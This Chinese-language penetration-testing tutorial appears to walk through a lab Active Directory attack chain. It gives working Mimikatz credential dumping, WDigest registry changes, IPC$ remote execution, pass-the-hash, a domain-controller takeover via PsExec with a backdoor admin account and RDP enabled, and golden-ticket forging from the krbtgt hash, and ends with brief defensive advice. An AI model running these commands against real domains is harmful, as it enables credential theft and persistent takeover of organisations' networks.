域环境渗透：权限获取、横向移动与票据维持

Hash 读取

这里用 Mimikatz。它最常见的用途，就是从内存里把登录凭据相关的信息翻出来。前提当然还是要有足够权限，不然什么都看不到。

步骤很直接：

1. 以管理员权限运行 Mimikatz。
2. 执行 privilege::debug。
3. 再跑 sekurlsa::logonpasswords，读取内存中的账号密码信息。
4. 拿到管理员明文或可用凭据后，直接远程桌面登录。

这一步的关键不是工具本身，而是它暴露了一个现实：很多主机上的登录态会把可用凭据留在内存里，没做隔离时，后面一串动作都能顺着走。

Hash 传递

基础知识

如果管理员曾在目标机上登录过域账号，理论上就可能从内存里抓到对应的凭据。问题在于，很多环境会打补丁，比如 KB2871997，再把 Wdigest Auth 关掉。这样就别指望还能直接拿到明文了，通常只会留下密文 Hash。

Hash 本身一般不能直接反推出密码，但域环境做身份校验时，并不是每次都把密码明文拿去比对，而是检查 Hash 是否匹配。于是就有了 Hash 传递，也叫 PTH：拿着已经抓到的 NTLM Hash，直接去冒充对应用户登录。

Wdigest

Wdigest 这个开关决定了内存里会不会留下明文密码。看注册表的值就知道状态：1 表示开启，0 表示关闭。

开启：

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭：

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

IPC$

概念

IPC$（Internet Process Connection）是通过命名管道做进程间通信的一种共享资源。拿到可信账号和口令后，就能借这个通道访问远程计算机。

使用 IPC$ 需要满足几个条件：

• 139、445 端口开放；
• 目标开启 IPC$ 文件共享；
• 你手里有可用的账号密码。

在很多内网里，IPC$ 默认就开着，C 盘也常常能通过共享直接访问。很多后续的横向动作，都是从这里开始的。

常用命令

命令执行

1. 通过 at 指定计划任务执行命令。

at \\192.168.1.1 11:15am cmd /c "whoami"

2. 多跳场景下，也可以用 at 串起来做代理式执行。

at \\192.168.100.1 11:15am cmd /c "net use \\192.168.200.1\ipc$ 密码 /user:账号"
at \\192.168.100.1 11:15am cmd /c "at \\192.168.100.1 11:15am cmd /c \"whoami\" "

Hash 传递实战演示

1. 先尝试抓取密码，结果大多是密文。
2. 虽然没有明文，但拿到了域管理员的 NTLM。
3. 提权到 SYSTEM 后，执行 net user /domain，确认域管所在机器。
4. 先试着用 ipc$ 读域管的 C 盘，结果是拒绝访问。
5. 于是直接上 Mimikatz 做 PTH。

sekurlsa::pth /user:administrator /domain:"ajie.cool" /ntlm:f1de694efa543bb780da59c049541ea3

6. 命令执行后会弹出一个新的命令提示符。此时直接 dir \\AD.ajie.cool\c$，就能在不输入密码的情况下访问域控的 C 盘。
7. 在这个弹出的命令提示符里切到 PsExec.exe 所在目录，再提权拿到域控机器的 cmd。
8. 执行 ipconfig，确认已经在域控主机上。
9. 在域控里新建一个用户，并把它加到管理员组。
10. 用新用户远程桌面登录时，发现 RDP 还是连不上。
11. 查注册表确认远程桌面服务状态。

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

12. 通过已经拿到的域控命令提示符修改注册表，打开远程桌面服务。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

13. 再用新建的 hackerend 用户远程桌面登录域控。

黄金票据

基础知识

域环境里，域内主机不会直接相信你说'我是管理员'，它会通过 KDC 去校验。KDC 全称是 Kerberos Distribution Center，负责维护账户信息和对应的密钥。

它主要提供两类服务：AS 认证服务和 TGS 票据授予服务。

AS

AS（Authorization Server）负责初始认证。用户先发起请求，用密码对请求内容加密；AS 解密并核对后，返回一个 TGT（ticket granting tickets）。

TGS

拿到 TGT 之后，用户再去访问 TGS（Ticket Granting Server）。TGS 验证 TGT 后，会返回给用户一个 Ticket；用户带着这个 Ticket 再去访问目标 Server，服务端验证通过后就放行。

票据

在内网渗透里，常说的白银票据、黄金票据，都是 Kerberos 里的 Ticket。它们的价值在于：一旦票据被伪造成功，就不需要再走完整的密码认证流程。

域里总会看到一个 krbtgt 用户。这个账户就是 KDC 用的核心账户，拿到它的相关信息后，就能伪造出极高权限的票据。很多管理员会改域管密码，但不会经常动 krbtgt，这也是黄金票据一直有现实威胁的原因。

实战演示

1. 先通过远程桌面把 mimikatz.exe 和 PsExec.exe 上传到域控主机。
2. 用 PsExec 提权到 SYSTEM，再执行 Mimikatz，输入 lsadump::dcsync /user:krbtgt 获取 krbtgt 的 hash。
3. 生成黄金票据需要下面这些信息：

Object Security ID   : S-1-5-21-3296092892-1320626564-2720975204
Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659

原始 Object Security ID 末尾的 -502 是标识位，制作时要手动去掉。

4. 退出远程桌面，在攻击机上用 Mimikatz 制作黄金票据。执行后会生成一个 AD.kiribi 文件。

kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi

5. 生成票据后，先试着访问域控 c$，最初还是会被拒绝。
6. 用 kerberos::purge 清空票据缓存，再用 kerberos::list 查看，确认缓存已经为空。
7. 执行 kerberos::ptt administrator.kiribi 加载票据。
8. 这时就能无密码访问域控 C 盘。后面继续做提权或横向，思路和前面的 PTH 差不多，这里就不再展开。

防御建议

对应这些手法，防守侧最该盯住的是权限边界和凭证暴露面。

1. 最小权限原则：域管别拿来日常登录，能拆分就拆分。
2. 补丁管理：及时更新 KB2871997 这类补丁，减少哈希泄露面。
3. 监控审计：对异常的 Kerberos 请求和登录行为做告警。
4. 凭证保护：定期轮换 krbtgt 密码，配合 LAPS 管理本地管理员密码。
5. 网络分段：把可横向移动的路径切短，别让一台机器出事后直接串到全网。

总结

这条链路的核心很清楚：先拿入口，再做穿透；先收集信息，再找可用凭据；拿到 Hash 之后，既可以传递，也可以伪造票据。真正麻烦的地方不在某一个工具，而在域环境里权限、凭据和信任关系是连着的，一处松了，后面就会一路往上滚。对防守来说，最有效的办法也不是只盯某个攻击动作，而是把补丁、权限、审计和分段一起收紧。